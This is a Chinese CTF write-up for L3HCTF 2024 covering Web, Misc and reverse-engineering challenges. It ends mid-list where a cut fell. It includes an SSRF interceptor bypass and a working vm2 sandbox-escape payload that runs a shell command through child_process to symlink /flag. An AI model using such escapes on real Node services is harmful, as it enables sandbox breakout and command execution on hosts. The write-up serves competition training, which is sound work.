本次 L3HCTF 2024,我们星盟ctf战队排名第15。

排名 队伍 总分
11 0xFFF_ 5987
12 b3f0re 5733
13 W&M 5657.33
14 Syclover 4938.5
15 星盟ctf战队 4491.62
16 Vidar-Team 4242.77
17 or4nge 3548
18 0psu3 3529
19 SU 3495.12
20 Dawn 3378

Misc

End_of_Programming

按照题目要求输入即可,不行可以多输入几次。

Web

short_url

SSRF触发点

image-20240205145532238

路由存在拦截器

image-20240205145551149

开启了插件可以通过/绕过拦截器

image-20240205145629997

/test/?redirect=绕过

image-20240205145736835

使用url编码绕过

由于是hackbar自动解码,二次编码

image-20240204151108846

http://1.95.4.251:57080/test/?redirect=Ymrpaj7O即可

image-20240204151134942

escape-web

nodejs版本v20.11.0

vm2沙箱逃逸

payload:

https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9

由于这个 API 运行在容器外,但是容器内的 /app/output.txt可以操控,于是通过创建软链接即可读取到容器外的文件。

https://paper.seebug.org/396/

async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').exec('rm /app/output.txt && ln -s /flag /app/output.txt', (error, stdout, stderr) => {
                        throw new Error(stdout);
                    }); 
                }
            )
        }
    }
};
p.then();

Re

ez_rust

先把资源 dump 出来然后解压:

>>> import brotli
>>> content = open("export_results.txt", "rb").read()
>>> decompressed = brotli.decompress(content)
>>> open("dump2", "wb").write(decompressed)

unsigned char demo[] = { 36,86,47,49,85,57,64,58,13,66,58,38,38,80,84,45,36,26,10,40,83,0,86 };
char ddd2[] = "secret";
for (int i = 0; i < 23; i++)
{
    demo[i] ^= ddd2[i % 6];
}

ez_stack

手撕

void copy_arr(uint32_t* a, uint32_t* b, int len)
{
    for (int i = 0; i < len; i++)
    {
        a[i] = b[i];
    }
}

int main()
{
    uint32_t key[] = { 0x547fa369,0x43af51a7,0xee8f66c7,0x265bfed5,0xda138396,0xe98434b5,0x84a65177,0x4b6a084b };
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = 0;
    uint32_t* flag_input;
    sum=delta*32;
    unsigned char enc[] = { 0x3e ,0x55 ,0xbc ,0x81 ,0x9 ,0x71 ,0xba ,0x74 ,0x98 ,0x81 ,0x47 ,0xbd ,0xe6 ,0x3d ,0x56 ,0x45 ,0x61 ,0xc6 ,0xe8 ,0x62 ,0xda ,0x79 ,0xb ,0xd0 ,0xce ,0xd3 ,0x2f ,0xb1 ,3,2,0x16 ,0xf5 };

    unsigned char flag_true[33] = { 0 };
    uint32_t* flag_true_input;
    flag_true_input = (uint32_t*)flag_true;
    flag_input = (uint32_t*)enc;
    for (int i = 0; i < 32; i++)
    {
        uint32_t temp[9] = { 0 };
        copy_arr(&temp[1], flag_input, 8);
        temp[0] = temp[8] - (((temp[1] ^ sum) + key[7]) ^ (temp[7] << 3) ^ (temp[1] >> 5));
        flag_input[7] = temp[0];

        for (int j = 7; j > 0; j--)
        {
            flag_input[j - 1] = temp[j] - (((flag_input[j] ^ sum) + key[j - 1]) ^ (temp[j - 1] << 3) ^ (flag_input[j] >> 5));
        }
        sum -= delta;
        flag_input[7] = temp[0];
    }
    //0x00e1f89c "L3HSEC{f1751f5a3d69ab5ac2fe24e2}...
}

babycom

加载了资源文件里面dll,动调进去看

__int64 __fastcall encode(__int64 a1, const WCHAR *a2, BSTR *a3)
{
  void (__fastcall *v4)(int *, BYTE *); // r13
  HMODULE LibraryA; // rsi
  __int64 v6; // rdi
  _DWORD *v7; // r14
  char *v8; // r12
  const char *v9; // rbx
  size_t v10; // rax
  size_t v11; // rcx
  int v12; // r9d
  int v13; // r8d
  __int64 v14; // r11
  unsigned int v15; // r8d
  unsigned int sum; // r10d
  unsigned int v17; // r9d
  char v18; // dl
  __int64 v19; // rbx
  unsigned int v20; // eax
  unsigned int v21; // r10d
  unsigned int v22; // r8d
  unsigned int v23; // r9d
  int v24; // ecx
  unsigned int v25; // r8d
  unsigned int v26; // r9d
  int v27; // ecx
  unsigned int v28; // r8d
  unsigned int v29; // r9d
  unsigned int v30; // eax
  unsigned int v31; // r8d
  unsigned int v32; // r9d
  int v33; // ecx
  unsigned int v34; // r8d
  unsigned int v35; // r9d
  int v36; // ecx
  unsigned int v37; // r8d
  unsigned int v38; // r9d
  unsigned int v39; // eax
  unsigned int v40; // r8d
  unsigned int v41; // r9d
  int v42; // ecx
  unsigned int v43; // r8d
  unsigned int v44; // r9d
  int v45; // ecx
  unsigned int v46; // r8d
  unsigned int v47; // r9d
  int v48; // ecx
  unsigned int v49; // r8d
  unsigned int v50; // r9d
  int v51; // ecx
  unsigned int v52; // r8d
  unsigned int v53; // r9d
  int v54; // ecx
  unsigned int v55; // r8d
  unsigned int v56; // r9d
  unsigned int v57; // r8d
  unsigned int v58; // r9d
  int v59; // ecx
  unsigned int v60; // r8d
  unsigned int v61; // r9d
  int v62; // ecx
  unsigned int v63; // r8d
  unsigned int v64; // r9d
  int v65; // ecx
  char *v67; // [rsp+48h] [rbp-81h]
  char *v68; // [rsp+50h] [rbp-79h]
  BYTE pbData[4]; // [rsp+60h] [rbp-69h] BYREF
  HCRYPTHASH phHash; // [rsp+70h] [rbp-59h] BYREF
  HCRYPTPROV phProv; // [rsp+78h] [rbp-51h] BYREF
  DWORD pdwDataLen; // [rsp+80h] [rbp-49h] BYREF
  HCRYPTKEY phKey; // [rsp+88h] [rbp-41h] BYREF
  CHAR LibFileName[4]; // [rsp+90h] [rbp-39h] BYREF
  int v76; // [rsp+94h] [rbp-35h]
  int v77; // [rsp+98h] [rbp-31h]
  int v78[4]; // [rsp+A0h] [rbp-29h] BYREF
  __int16 v79; // [rsp+B0h] [rbp-19h]
  CHAR MultiByteStr[4]; // [rsp+B8h] [rbp-11h] BYREF
  _DWORD v81[7]; // [rsp+BCh] [rbp-Dh]
  char v82; // [rsp+D8h] [rbp+Fh]

  v79 = 136;
  *(_DWORD *)LibFileName = -354031637;
  v76 = -1494352919;
  v77 = -1998265108;
  v78[0] = 15270122;
  v78[1] = 15794410;
  v78[2] = 15401126;
  v78[3] = 15007975;
  sub_1800066A0((__int64)v78);
  sub_1800066F0((__int64)LibFileName);
  v4 = 0i64;
  LibraryA = LoadLibraryA(LibFileName);
  v6 = 0i64;
  v7 = (_DWORD *)((char *)LibraryA + *(unsigned int *)((char *)LibraryA + *((int *)LibraryA + 15) + 136));
  v68 = (char *)LibraryA + (unsigned int)v7[7];
  v8 = (char *)LibraryA + (unsigned int)v7[8];
  v67 = (char *)LibraryA + (unsigned int)v7[9];
  if ( v7[5] )
  {
    while ( 1 )
    {
      v9 = (char *)LibraryA + *(unsigned int *)&v8[4 * v6];
      if ( v9 )
      {
        v10 = strnlen(v9, 0x32ui64);
        v11 = 0i64;
        v12 = 53;
        if ( v10 )
        {
          do
          {
            v13 = v9[v11++];
            v12 += (1131796 * v12 + v13) & 0xFFFFFF;
          }
          while ( v11 < v10 );
          if ( v12 == 137055457 )
            break;
        }
      }
      v6 = (unsigned int)(v6 + 1);
      if ( (unsigned int)v6 >= v7[5] )
        goto LABEL_9;
    }
    v4 = (void (__fastcall *)(int *, BYTE *))((char *)LibraryA
                                            + *(unsigned int *)&v68[4 * *(unsigned __int16 *)&v67[2 * v6]]);
  }
LABEL_9:
  v4(v78, pbData);
  WideCharToMultiByte(0, 0, a2, 32, MultiByteStr, 32, 0i64, 0i64);
  v14 = 0i64;
  v82 = 0;
  do
  {
    v15 = *(_DWORD *)&MultiByteStr[8 * v14];
    sum = 0;
    v17 = v81[2 * v14];
    v18 = 0;
    v19 = 2i64;
    do
    {
      v20 = sum + *(_DWORD *)&pbData[4 * (v18 & 3)];
      v21 = sum + 1131796;
      v22 = (v20 ^ (v17 + ((16 * v17) ^ (v17 >> 5)))) + v15;
      v23 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v22 + ((16 * v22) ^ (v22 >> 5)))) + v17;
      v24 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v23 + ((16 * v23) ^ (v23 >> 5)));
      v21 += 1131796;
      v25 = v24 + v22;
      v26 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v25 + ((16 * v25) ^ (v25 >> 5)))) + v23;
      v27 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v26 + ((16 * v26) ^ (v26 >> 5)));
      v21 += 1131796;
      v28 = v27 + v25;
      v29 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v28 + ((16 * v28) ^ (v28 >> 5)))) + v26;
      v30 = v21 + *(_DWORD *)&pbData[4 * (v21 & 3)];
      v21 += 1131796;
      v31 = (v30 ^ (v29 + ((16 * v29) ^ (v29 >> 5)))) + v28;
      v32 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v31 + ((16 * v31) ^ (v31 >> 5)))) + v29;
      v33 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v32 + ((16 * v32) ^ (v32 >> 5)));
      v21 += 1131796;
      v34 = v33 + v31;
      v35 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v34 + ((16 * v34) ^ (v34 >> 5)))) + v32;
      v36 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v35 + ((16 * v35) ^ (v35 >> 5)));
      v21 += 1131796;
      v37 = v36 + v34;
      v38 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v37 + ((16 * v37) ^ (v37 >> 5)))) + v35;
      v39 = v21 + *(_DWORD *)&pbData[4 * (v21 & 3)];
      v21 += 1131796;
      v40 = (v39 ^ (v38 + ((16 * v38) ^ (v38 >> 5)))) + v37;
      v41 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v40 + ((16 * v40) ^ (v40 >> 5)))) + v38;
      v42 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v41 + ((16 * v41) ^ (v41 >> 5)));
      v21 += 1131796;
      v43 = v42 + v40;
      v44 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v43 + ((16 * v43) ^ (v43 >> 5)))) + v41;
      v45 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v44 + ((16 * v44) ^ (v44 >> 5)));
      v21 += 1131796;
      v46 = v45 + v43;
      v47 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v46 + ((16 * v46) ^ (v46 >> 5)))) + v44;
      v48 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v47 + ((16 * v47) ^ (v47 >> 5)));
      v21 += 1131796;
      v49 = v48 + v46;
      v50 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v49 + ((16 * v49) ^ (v49 >> 5)))) + v47;
      v51 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v50 + ((16 * v50) ^ (v50 >> 5)));
      v21 += 1131796;
      v52 = v51 + v49;
      v53 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v52 + ((16 * v52) ^ (v52 >> 5)))) + v50;
      v54 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v53 + ((16 * v53) ^ (v53 >> 5)));
      v21 += 1131796;
      v55 = v54 + v52;
      v56 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v55 + ((16 * v55) ^ (v55 >> 5)))) + v53;
      v57 = ((v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v56 + ((16 * v56) ^ (v56 >> 5)))) + v55;
      v21 += 1131796;
      v58 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v57 + ((16 * v57) ^ (v57 >> 5)))) + v56;
      v59 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v58 + ((16 * v58) ^ (v58 >> 5)));
      v21 += 1131796;
      v60 = v59 + v57;
      v61 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v60 + ((16 * v60) ^ (v60 >> 5)))) + v58;
      v62 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v61 + ((16 * v61) ^ (v61 >> 5)));
      v21 += 1131796;
      v63 = v62 + v60;
      v64 = ((v21 + *(_DWORD *)&pbData[4 * ((v21 >> 11) & 3)]) ^ (v63 + ((16 * v63) ^ (v63 >> 5)))) + v61;
      v65 = (v21 + *(_DWORD *)&pbData[4 * (v21 & 3)]) ^ (v64 + ((16 * v64) ^ (v64 >> 5)));
      sum = v21 + 1131796;
      v15 = v65 + v63;
      v18 = sum;
      v17 = ((sum + *(_DWORD *)&pbData[4 * ((sum >> 11) & 3)]) ^ (v15 + ((16 * v15) ^ (v15 >> 5)))) + v64;
      --v19;
    }
    while ( v19 );
    *(_DWORD *)&MultiByteStr[8 * v14] = v15;
    v81[2 * v14++] = v17;
  }
  while ( v14 < 4 );
  pdwDataLen = 32;
  phProv = 0i64;
  phHash = 0i64;
  phKey = 0i64;
  if ( CryptAcquireContextA(&phProv, 0i64, 0i64, 0x18u, 0xF0000000)
    && CryptCreateHash(phProv, 0x8003u, 0i64, 0, &phHash)
    && CryptHashData(phHash, pbData, 0x10u, 0)
    && CryptDeriveKey(phProv, 0x660Eu, phHash, 1u, &phKey) )
  {
    CryptEncrypt(phKey, 0i64, 0, 0, (BYTE *)MultiByteStr, &pdwDataLen, 0x20u);
  }
  if ( phKey )
    CryptDestroyKey(phKey);
  if ( phHash )
    CryptDestroyHash(phHash);
  if ( phProv )
    CryptReleaseContext(phProv, 0);
  *a3 = SysAllocStringByteLen(MultiByteStr, 33u);
  return 0i64;
}

审计发现是xtea+aes

aes的key,iv动调dump出来就行

CyberChef payload

file:///F:/CyberChef_v10.4.0/CyberChef_v10.4.0.html#recipe=AES_Decrypt(%7B'option':'Hex','string':'67CB6DF854F392FF1FEF78AC1B59F84D'%7D,%7B'option':'Hex','string':'00000000000000000000000000000000'%7D,'CBC/NoPadding','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)To_Hex('0x%20with%20comma',0)&input=MGJhZjUxMjE5YzUyMTA4OTNmMmMzNDMwODcxM2MxNGNjMTdmODE2ZWJhYmRkZjQzMWFmMGQ3ZGU4ZTY2Yjk3Yw

image.png

#include <stdio.h>  
#include <stdint.h>  
#include<Windows.h>
void encipher( uint32_t v[2]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 1131796;
    unsigned int key[4] = {
    0x1CD43EEA, 0x47D7CB70, 0xDBCA5E98, 0x2B390C53
    };
    for (i = 0; i < 32; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = v0; v[1] = v1;
}

void decipher(uint32_t v[2]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 32* 1131796, delta = 1131796;
    unsigned int key[4] = {
    0x1CD43EEA, 0x47D7CB70, 0xDBCA5E98, 0x2B390C53
    };
    for (i = 0; i < 32; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        
       
    }
    v[0] = v0; v[1] = v1;
}

int main()
{
   /* char input[] = "11111111111111111111111111111111";
    for (int i = 0; i < 32; i+=8)
    {
        encipher((uint32_t*)&input[i]);
    }*/
    char enc[] = {  0x2a,0xb4,0xc1,0x74,
                  0xd6,0x59,0xaa,0x05,
                  0x73,0x10,0x7f,0x9c,
                  0x40,0x49,0x99,0x62,
                  0x3c,0x84,0x51,0x8f,
                  0x3f,0x37,0xab,0xf1,
                  0x0e,0xfe,0x61,0x96,
                  0x45,0xad,0x41,0x6a }
;
    for (int i = 0; i < 32; i += 8)
    {
        decipher((uint32_t*)&enc[i]);
    }
    puts(enc);
}

RE_DAG

chatgpt翻译一下,然后修一下细节,字符串数组太大,提取一下。

import  re
Get_table=re.findall(r'[a-z]+',s)
print(Get_table)

剩下就是把脚本运行就好

def encode(s):
    ret = []  # 初始化结果列表
    ls = list(s)  # 将输入字符串转换为列表

    for i in range(0, len(ls), 2):  # 每次处理两个字符
        num1 = ord(ls[i])  # 获取第一个字符的ASCII码
        if i + 1 < len(ls):  # 确保不会越界
            num2 = ord(ls[i + 1])  # 获取第二个字符的ASCII码
        else:
            num2 = 0  # 如果没有第二个字符,使用0作为默认值

        # 对num1和num2进行位运算,生成新的数值
        numa = (num1 & 248) >> 3
        numb = ((num1 & 7) << 3) | ((num2 & 240) >> 4)
        numc = num2 & 15

        # 将得到的数值添加到结果列表中
        ret.extend([numa, numb, numc])

    return ret
import random



def calc(nums):
    # 从 nums 中提取三个数值并重新排序
    num1, num2, num3 = nums[0], nums[1], nums[2]
    
    # 对 num1 进行特定的位运算和数学操作
    num1 = 2023 + (num1 & 15) - (num1 & 240)
    
    # 调用 func2 函数,并对 num2 进行处理
    num2 = func2(num2 + 7)
    
    # 使用 num3 作为随机数种子
    random.seed(num3)
    
    # 构造一个字符串 flag,包含处理过的 num1、num2、num3 和一个随机高斯分布数值
    flag = f"{num1}{num2}{num3}{random.gauss(num2, 0.2)}"
    
    # 将字符串中的 '.' 替换为 'x'
    flag = flag.replace('.', 'x')
    
    # 打印 flag 值
    print(f"flag={flag}")
    
    return flag

def func2(n):
    a, b = 1, 1  # 初始化斐波那契数列的前两项

    for i in range(n - 1):  # 循环n-1次
        a, b = b, a + b  # 更新a和b的值,a赋值为b,b赋值为a+b

    return a  # 返回斐波那契数列的第n项

def abc(lss, i):
    if abcarray[i] > 0:
        return abcarray[i]
    
    m = 1  # 初始化m为1
    
    for index, word in enumerate(lss):  # 遍历lss及其索引
        if func1(lss, i, index) == 1:  # 如果func1返回1
            m = max(m, abc(lss, index) + 1)  # 更新m为当前m和递归调用abc得到的值加1中的最大值
    
    abcarray[i] = m  # 将m的值存储在abcarray中对应索引i的位置
    return m  # 返回m的值

def solution(lss):
    global abcarray
    global arr
    # 初始化一个全为-1的列表,长度与输入列表lss相同
    abcarray = [-1] * len(lss)

    # 初始化一个全为-1的二维列表,大小为len(lss) * len(lss)
    arr = [[-1] * len(lss) for _ in range(len(lss))]
    #print(arr)
    ans = 1  # 初始化答案变量为1

    # 遍历输入列表lss的每个元素的索引
    for i in range(len(lss)):
        # 更新ans的值为当前ans和通过abc函数计算得到的值中的最大值
        ans = max(ans, abc(lss, i))

    return ans  # 返回最终计算得到的ans值
    
def func1(lss, i, j):
    if arr[i][j] != -1:
        return arr[i][j]
    
    s1 = list(lss[i])
    s2 = list(lss[j])
    l1 = len(s1)
    l2 = len(s2)
    flag = True
    n = 0

    if l1 - l2 == 1:  # 检查两个序列的长度差是否为1
        for m in range(l1):
            if s1[m] != s2[n]:
                if flag:
                    flag = False  # 标记已找到一个不匹配的字符
                else:
                    arr[i][j]= 0
                    return 0
            else:
                n += 1
                if n == l2:
                    break
    else:
        arr[i][j]= 0
        return 0

    arr[i][j] = 1
    return 1
    

str2='ab'
str1='ba'
str3='bc'
str4='cb'
str5='bdca'
str6='bacd'
str7='bbbb'
str8='acdb'
try:
        assert encode(str1) == [12, 22, 1]
        assert encode(str2) == [12, 14, 2]
        assert encode(str3) == [12, 22, 3]
        assert encode(str4) == [12, 30, 2]
        assert encode(str5) == [12, 22, 4, 12, 30, 1]
        assert encode(str6) == [12, 22, 1, 12, 30, 4]
        assert encode(str7) == [12, 22, 2, 12, 22, 2]
        assert encode(str8) == [12, 14, 3, 12, 38, 2]
        num1=solution(['a', str1, str2, str3, str4, 'bda', str5, str6, str7, str8,'bcdef', 'aabcc', 'acbac', 'bdcaa', 'bbbbcc', 'babccc', 'abaccc'])
        print(num1)
        num2=solution(['klmnowx', 'abcdefgiklmno', 'fgij', 'bcfghijklmno', 'fgjpqrst', 'uy', 'abceklmnouvw', 'pqrstuwy', 'fghijlno', 'mnouvwxy', 'klmnopqt', 'klmnopqrstuy', 'aeuvw', 'muvw', 'abcdeklmnow', 'fhijpqrst', 'mpqrst', 'klmnoprt', 'fghijklno', 'abcdelmo', 'klnuvwxy', 'klmnopst', 'abcdeklmnov', 'fghj', 'luvwxy', 'ghklmnopqrst', 'pqrstwx', 'abcdklmno', 'cdefghij', 'pqrs', 'efghijklmno', 'fghjklmno', 'adeklmno', 'rs', 'kuvwxy', 'ghij', 'befghijklmno', 'ln', 'hijklmnopqrst', 'ghpqrst', 'fgiklmnopqrst', 'pqrtuvwxy', 'pqrsty', 'jklmnopqrst', 'lnouvwxy', 'klmnoqsuvwxy', 'abcdeghklmno', 'fi', 'fghijlnpqrst', 'abdklmnouvw', 'uwx', 'abcdekln', 'klmno', 'abcdekn', 'abcdemuvw', 'pqs', 'fghijpqt', 'klmnopqrstuw', 'n', 'nopqrstuvwxy', 'abcdefghj', 'fghiklmnopqrst', 'klmnorst', 'abcdemnouvw', 'fgh', 'pqt', 'abfghij', 'o', 'nouvw', 'abcdklmnouvw', 'abeklmno', 'abcden', 'klmnopqrstwxy', 'q', 'fghijklmnoprt', 'klmnovx', 'abceuvw', 'klmnopsuvwxy', 'hj', 'abcdefgh', 'fhjklmno', 'klmnoquvwxy', 'wxy', 'klmnopqrstuvwy', 'kln', 'abcdegklmno', 'mno', 'gklmno', 'klnouvw', 'fghijklmnoqr', 'fghijpqrst', 'mnuvwxy', 'ghipqrst', 'klmnoqrtuvwxy', 'acdfghij', 'uwy', 'fghjklmnopqrst', 'mnpqrstuvwxy', 'abcdeknouvw', 'abcdefghijklmno', 'klmnorsuvwxy', 'abcdeh', 'klmnost', 'iklmnopqrst', 'abcdegijklmno', 'fghijklmopqrst', 'fghijklmnors', 'pqrstux', 'abcdefghijlm', 'abcdem', 'klmn', 'opqrst', 'ghjklmnopqrst', 'cdfghij', 'kluvwxy', 'ceklmno', 'abcdeghijklmno', 'lmo', 'bklmno', 'fghijs', 'cdeklmnouvw', 'abcdeknuvw', 'cdklmnouvw', 'abcdeklmnovw', 'klmnopr', 'fghijklmnopqrst', 'klmnopqtuvwxy', 'abcdefhijklmno', 'abcdeuv', 'abcdefhklmno', 'x', 'abcdeouvw', 'fjklmno', 'a', 'klmnopqrstuv', 'abdklmno', 'fghijlm', 'bcefghijklmno', 'quvwxy', 'fghi', 'klmnopqrstuwx', 'r', 'klmnuvw', 'kn', 'abcdeklmn', 'abcdeklmno', 'ps', 'klmnoqrt', 'pstuvwxy', 'klmnopqrsty', 'lmn', 'd', 'abcdefghijmo', 'fghijmnopqrst', 'ghiklmno', 'mouvwxy', 'abcdeghj', 'fghijklmnopr', 'kmnouvwxy', 'fghijklmnopqst', 'klmnox', 'nouvwxy', 'adefghijklmno', 'kmo', 'klmnovy', 'klmnopqrstuvwxy', 'cde', 'y', 'klmnouy', 'fgklmnopqrst', 'nuvwxy', 'kluvw', 'abcdefghijkno', 'abcdekl', 'fghijno', 'ceuvw', 'abcdelo', 'bcdklmno', 'gij', 'abcdeijklmno', 'klmnopqrt', 'abcdeklm', 'pqruvwxy', 'klnuvw', 'fijklmno', 'knpqrstuvwxy', 'fghijklmnor', 'ace', 'abcdekluvw', 'deklmnouvw', 'lpqrstuvwxy', 'abcdefhiklmno', 'fijpqrst', 'klmnopqrstvwy', 'mn', 'kmpqrst', 'ipqrst', 'fghijkmnpqrst', 'uvxy', 'bklmnouvw', 'fghijkmnopqrst', 'fghijklnopqrst', 'kopqrstuvwxy', 'pqrstuwxy', 'abdeuvw', 'acefghij', 'jklmno', 'k', 'fghijqs', 'abcdefghijno', 'fghijklmnort', 'adeuvw', 'vwx', 'gjklmno', 'hi', 'abcdefghijm', 'nuvw', 'fklmnopqrst', 'abcdehklmno', 'fghijklmnoqrt', 'klmnoruvwxy', 'abcdemnuvw', 'klmnovw', 'klmnopqrstvw', 'klmnoqtuvwxy', 'klmnoy', 'wx', 'ouvwxy', 'lmopqrst', 'fghjpqrst', 'lnuvwxy', 'vy', 'abdfghijklmno', 'kmnouvw', 'uvy', 'klmnoqst', 'klmnort', 'pqrstuxy', 'qs', 'lopqrstuvwxy', 'mnouvw', 'abdeklmno', 'abcdelnouvw', 'pruvwxy', 'qrsuvwxy', 'cklmno', 'bc', 'acdfghijklmno', 'j', 'fghijpqs', 'fghijknopqrst', 'fgijklmno', 'fghijnopqrst', 'mpqrstuvwxy', 'knopqrst', 'acdeuvw', 'lnouvw', 'fghijklmn', 'klmnouvxy', 'abcdefghiklmno', 'abcdefghij', 'hij', 'abcdekuvw', 'klmnopqs', 'aklmnouvw', 'acdefghijklmno', 'cfghij', 'fghijpqst', 'cfghijklmno', 'abcdefhi', 'kmouvwxy', 'pquvwxy', 'pqrstuy', 'pqrstuwx', 'ce', 'klmnopqrstv', 'deklmno', 'klmnouvw', 'abcdeno', 'fghijkmo', 'knouvwxy', 'fpqrst', 'hklmno', 'fghijkmopqrst', 'abcdefghjklmno', 'kmpqrstuvwxy', 'dklmnouvw', 'abcdefghijkmo', 'abcdel', 'giklmnopqrst', 'buvw', 'klmo', 'klmnoqrsuvwxy', 'uvwy', 'abcdeluvw', 'klmnostuvwxy', 'bceklmno', 'fghijm', 'defghijklmno', 'ijklmno', 'pqr', 'abcduvw', 'fghijklmnopqt', 'hijklmno', 'klmnoprsuvwxy', 'aeklmno', 'lo', 'klmnouxy', 'cdklmno', 'fghijpr', 'muvwxy', 'lmnouvwxy', 'abce', 'kmnopqrst', 'pt', 'klmnoptuvwxy', 'abde', 'abcdeghiklmno', 'klmnopqsuvwxy', 'klmnouvx', 'efghij', 'klmnouwy', 'bceklmnouvw', 'klmnuvwxy', 'ad', 'klmnoux', 'gjpqrst', 'abcdegij', 'fghijkpqrst', 'fghijlmnopqrst', 'abcdefj', 'fghijklmnops', 'fghijklmnoqs', 'ghi', 'fghijqst', 'abcdemo', 'abcdefghijkl', 'fghklmnopqrst', 'no', 'klmnopqrstuwxy', 'klmnopqrstvwx', 'abcdeklmnou', 'abdefghijklmno', 'klmnopqrstxy', 'acfghij', 'pqrstuvwy', 'kuvw', 'abcdehi', 'de', 'fghijpq', 'lmuvwxy', 'abcdelmouvw', 'abdfghij', 'knuvwxy', 'acde', 'cuvw', 'uw', 'kmopqrstuvwxy', 'abcfghij', 'fghij', 'abcdeklmo', 'abcdehij', 'abcdek', 'fghijklmnoqrst', 'pqrstvx', 'klmnopqrstvx', 'abc', 'klmnoqrstuvwxy', 'acklmnouvw', 'afghijklmno', 'abcdeklmnuvw', 'abcdei', 'fgiklmno', 'klmnopqrstuvw', 'abcklmnouvw', 'abcdelmnuvw', 'abcdehj', 'abcdefghijlo', 'fghpqrst', 'acfghijklmno', 'abcdeg', 'klpqrst', 'klmouvw', 'bdfghijklmno', 'aefghijklmno', 'fijklmnopqrst', 'fghijps', 'fghijklnpqrst', 'fghijklmnop', 'fklmno', 'klmnopqrstw', 'abcdfghijklmno', 'fj', 'lnopqrst', 'fghijkmpqrst', 'fghijlnopqrst', 'ux', 'fgjklmno', 'fghijklmnopqr', 'abcdeghjklmno', 'abcdefghijkmn', 'abcdegiklmno', 'abcdefiklmno', 'acdeklmno', 'klmnops', 'fghijklmnopqrt', 'fghijklmnoqt', 'abcdegj', 'acdklmno', 'abcdeghi', 'abcdelmuvw', 'abcdefg', 'fghijkl', 'gjklmnopqrst', 'hipqrst', 'klmnopqstuvwxy', 'lnuvw', 'ghijpqrst', 'pqrstuvwxy', 'klmnovwx', 'klmnoqstuvwxy', 'bcklmnouvw', 'abdeklmnouvw', 'fghijklmnopq', 'abcdefghijk', 'abcdefghijklno', 'fiklmnopqrst', 'klmnopq', 'npqrstuvwxy', 'klmnopqrstwx', 'abcdefi', 'lpqrst', 'ghijklmnopqrst', 'bd', 'bcuvw', 'hjklmnopqrst', 'adfghijklmno', 'klmnosuvwxy', 'louvwxy', 'bce', 'gpqrst', 'fghijklmnot', 'wy', 'pqrstvwxy', 'fghijkln', 'lmouvw', 'gi', 'fghijn', 'fhklmnopqrst', 'ghj', 'klpqrstuvwxy', 'abcdefgklmno', 'fghijlmo', 'fghijo', 'fhpqrst', 'klmnoprs', 'abcefghij', 'abcdeklno', 'abcdefghijlmno', 'kmnpqrst', 'fghijklmnoq', 'abcdefhij', 'fghijklmnopt', 'klmnopt', 'abcdefklmno', 'abcdelno', 'pqrstw', 'fghijlopqrst', 'bfghij', 'abuvw', 'abcdefghijln', 'ac', 'aefghij', 'prs', 'lmnopqrstuvwxy', 'abcdefghijn', 'klmnopqrstux', 'luvw', 'giklmno', 'kpqrst', 'jpqrst', 'fghijrt', 'fghijlo', 'abcdefij', 'fghijklmnorst', 'fghijqrst', 'tuvwxy', 'fghijlmopqrst', 'klmnouwxy', 'bdeuvw', 'fghijprt', 'klmnoprst', 'pqrstuvy', 'fghijpqrt', 'fgj', 'pqrstvxy', 'abdefghij', 'abcdegh', 'abefghij', 'lno', 'klmnopuvwxy', 'klmnouvwxy', 'fghijrst', 'cd', 'euvw', 'hijpqrst', 'pqrst', 'klopqrst', 'gijpqrst', 'klmnopqrs', 'fghijk', 'klopqrstuvwxy', 'rtuvwxy', 'klmnorstuvwxy', 'stuvwxy', 'abcdevw', 'cdefghijklmno', 'bdeklmno', 'pqstuvwxy', 